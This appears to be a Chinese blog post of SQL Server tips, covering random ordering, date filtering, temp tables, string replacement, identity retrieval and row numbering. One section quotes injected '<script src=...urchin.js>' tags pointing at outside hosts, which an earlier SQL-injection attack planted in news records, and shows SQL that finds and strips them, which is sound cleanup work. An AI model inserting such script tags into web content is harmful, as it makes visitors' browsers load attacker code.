SQL 常用操作

一、 order by newid()  可以从查询结果中随机一条数据

二、 公司习惯数据库基本都是varchar类型 无法根据时间排序 的问题:程序控制输入格式保持一致or cast 字段 as datetime。个人还

        是喜欢用对应的数据格式,例如时间用datetime页面就可以toString("yyyy-MM-dd hh:mm:ss")成这种格式,varchar就不可以

三、 sql server 的模糊查询 可以(字段+字段)like '%%'  不用像mysql里还得用concat(`title`,`content`) like '%关键字%'

四、 sql 判断为空 where 字段 is null 。。。。不是=null。。。。

五、 bit类型插入时用1 ,0 读取时返回的是true,false

六、 select Id,Aid,Title,StartTime,EndTime,AdUrl,LinkUrl,AdRemark,IsLock,AddTime  FROM Adbanner
          where IsLock=0 and datediff(day,StartTime,getDate())>=0 and datediff(day,EndTime,getDate())<=0 and Aid=1 

          datediff(day,StartTime,getDate())>=0 判断指定日期是否已经过去 ,datediff(day,EndTime,getDate())<=0判断指定日期是否过期。

           cms死循环原因就是access 和 sql的语法不同,导致异常,下为access语法:

           select Id,Aid,Title,StartTime,EndTime,AdUrl,LinkUrl,AdRemark,IsLock,AddTime
           FROM Adbanner  where IsLock=0 and datediff('d',StartTime,now())>=0 and datediff('d',EndTime,now())<=0 and Aid=1

 七、利用临时表复制当前数据表数据便于测试,用随机的方法把重复数据的关键字段修改

select * into products from #t

insert into products (title,classid,imgurl,content,click,addtime,summary)
select title,classid,imgurl,content,click,addtime ,summary from #t


insert into #t  (title,classid,imgurl,content,click,addtime,summary)
select title,classid,imgurl,content,click,addtime ,summary from products

declare @i int
set @i=0
while @i<1000
begin
update products set classid = (select top 1 id from channel where parentId not in (0,8) order by newid())
 where id =
(select top 1 id  from products where id between 10449 and 11449 order by newid())
set @i=@i+1
end

八、

update news set newscontent =replace(newscontent,'</title><script src=http://jjghui.com/urchin.js ></script></title><script src=http://jjghui.com/urchin.js ></script>','')    要替换的字段不能为ntext 需要转换

 

查看被注入的记录select * from news where newstitle like '%</title><script src=http://nbnjki.com/urchin.js ></script></title><script src=http://nbnjki.com/urchin.js ></script>%'
导入临时表select * into #t from  news
替换临时表里被注入的记录update #t set newstitle =replace(newstitle,'</title><script src=http://nbnjki.com/urchin.js ></script></title><script src=http://nbnjki.com/urchin.js ></script>','')
查询临时表select * from #t
替换被注入的记录update news set newscontent =replace(cast(newscontent as varchar(1024)) ,'</title><script src=http://nbnjki.com/urchin.js ></script></title><script src=http://nbnjki.com/urchin.js ></script>','')
查询表select * from news

 

九、替换某表中某字段里的特定字符

 update mtMeetLists set Originator=replace(convert(nvarchar(4000),Originator),'sailungroup','sailunjinyu')

十、return @@identity; 返回刚插入的自增ID


 十一、update oCD_OfficeSuppliesConfig set configKey=replace(configKey,char(10),'')--替换换行符

     update oCD_OfficeSuppliesConfig set configKey=replace(configKey,char(13),'')-- 替换回车符

             update oCD_OfficeSuppliesConfig set configKey=replace(configKey,‘ ’,'')-- 替换空格

十二、给返回的数据集加自然序号 select (ROW_NUMBER() over (order by id )) as rownum

十三、Select Distinct Object_name(ID) from syscomments Where text like N'%关键字%'   忘记写过的存储过程在哪调用过时,这段代码相当有用。

十四、Parameter Sniffing引起的存储过程慢,可以重启服务、清除缓存、甚至重建存储过程等多种方式解决。推荐

使用本地参数,declare 局部变量    set 局部变量=入参

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值